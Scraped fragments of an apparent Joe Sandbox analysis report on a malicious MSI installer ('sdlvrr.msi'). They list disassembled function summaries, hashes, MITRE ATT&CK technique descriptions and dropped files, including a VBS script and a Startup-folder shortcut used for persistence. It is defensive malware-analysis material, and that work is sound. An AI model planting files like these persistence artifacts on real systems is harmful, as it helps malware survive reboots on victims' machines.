Opcode Fuzzy Hash: e1187d80f671c3d5ffa6ea0e07451fc50c0d65e3052ce1ed4a460bbb29a847ea
Instruction Fuzzy Hash: 16D05B3238431833D21B36987C47FD5B6CC8F05B51F150416FF487E5D28AE2A4D041D9

Function 0039BC74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 0039BAB8
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0039BCAB

Strings

WIN_XPe, xrefs: 0039BACB

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: DirectoryFreeLibrarySystem
String ID: WIN_XPe
API String ID: 510247158-3257408948
Opcode ID: 371e1d3534539561026c61822d03f221cb74da134f4f29b041e633fef7bec886
Instruction ID: 9748b11b4a218374fadb1fdcc9de074576978d9ce3a662cc54930d5de968a8cf
Opcode Fuzzy Hash: 371e1d3534539561026c61822d03f221cb74da134f4f29b041e633fef7bec886
Instruction Fuzzy Hash: 78E0A570C1415EAFCB56DBA8D985AEDB7BCBB08300F148486E022A6450C7755A45DF21

Function 00388495 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0038849F
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 003884B2

Part of subcall function 00368355: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 003683CD

Strings

Shell_TrayWnd, xrefs: 00388498

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: e76190776f1aebfa588a27c89cdb8eeb55decd7e986cd5601cb11c8b9db71930
Instruction ID: 03409377b0e4572ddf61d65c82f77c7d5ca38bfa661513ac4a7c690653ab93f7
Opcode Fuzzy Hash: e76190776f1aebfa588a27c89cdb8eeb55decd7e986cd5601cb11c8b9db71930
Instruction Fuzzy Hash: 01D01276384314B7E76BA770AC4FFD76A58EF19B11F140929B34AAA2D0C9E0B800C761

Function 003884C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 003884DF
PostMessageW.USER32(00000000), ref: 003884E6

Part of subcall function 00368355: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 003683CD

Strings

Shell_TrayWnd, xrefs: 003884D8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: caf1e23e1345904c8c457373fd3fb9690edab5a1266c57d944cd8849544686cb
Instruction ID: 97877f297864c4bde103a1907fd3c29170a2142d2e5377b64bcf64bb96fc345c
Opcode Fuzzy Hash: caf1e23e1345904c8c457373fd3fb9690edab5a1266c57d944cd8849544686cb
Instruction Fuzzy Hash: 2AD012763853147BE76BA770AC4FFD76658EB1AB11F140929B34AAA2D0C9E0B800C765

Function 0036D009 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 0036D01E
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 0036D035

Strings

aut, xrefs: 0036D02F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: a1ad722ad264a83a4a2e3b620dcdfa460549dceea96e6c5ef2c4da8c0e81bc58
Instruction ID: 0dace1b91cb6e1ddaa22757283eb37d54b89923c677c5d62dd1bdc517a30c21c
Opcode Fuzzy Hash: a1ad722ad264a83a4a2e3b620dcdfa460549dceea96e6c5ef2c4da8c0e81bc58
Instruction Fuzzy Hash: E2D05EB154030EBBDB11ABA0ED0EF99776CA700705F104191B615D14D1D3B0D645CBA1

Function 0035CB3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 0035CB4B
SendMessageW.USER32(00000000,00001200,00000000,00000000), ref: 0035CB59

Strings

@U=u, xrefs: 0035CB4B, 0035CB59

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: c77cb753e6c1e05099545962fa770cf5c3b58af8a8ed432256851876a17a5610
Instruction ID: e63532e7e3fece57c1df3ce50f45328127d9777668bfa9da55892d0fcd774c44
Opcode Fuzzy Hash: c77cb753e6c1e05099545962fa770cf5c3b58af8a8ed432256851876a17a5610
Instruction Fuzzy Hash: D2C04C711405C0BAE7361F67BC0DD473E3DE7CBF51B51425CF216964B686790055D634

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report sdlvrr.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\6e4800.rbs

C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VYZSPQ.lnk

C:\Users\user\AppData\Roaming\Windata\SRACMB.exe

C:\Windows\Installer\6e47fe.msi

C:\Windows\Installer\MSI4908.tmp

C:\Windows\Installer\MSI4976.tmp

C:\Windows\Installer\SourceHash{29EF7317-DCA1-4159-97B2-C883AD400AC6}

C:\Windows\Installer\inprogressinstallinfo.ipi

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

C:\Windows\Temp\~DF3B519F2FC3953126.TMP

C:\Windows\Temp\~DF452888C694CEC694.TMP

C:\Windows\Temp\~DFDC9DDDECCC20DBF2.TMP

C:\Windows\Temp\~DFF2FF7337FADF7859.TMP

Static File Info

Windows Analysis Report
sdlvrr.msi

Function 0032374E Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 145
windowCOMMON

Function 003830AD Relevance: 16.9, APIs: 11, Instructions: 397
registryCOMMON

Function 003229C2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
timewindowregistryCOMMON

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre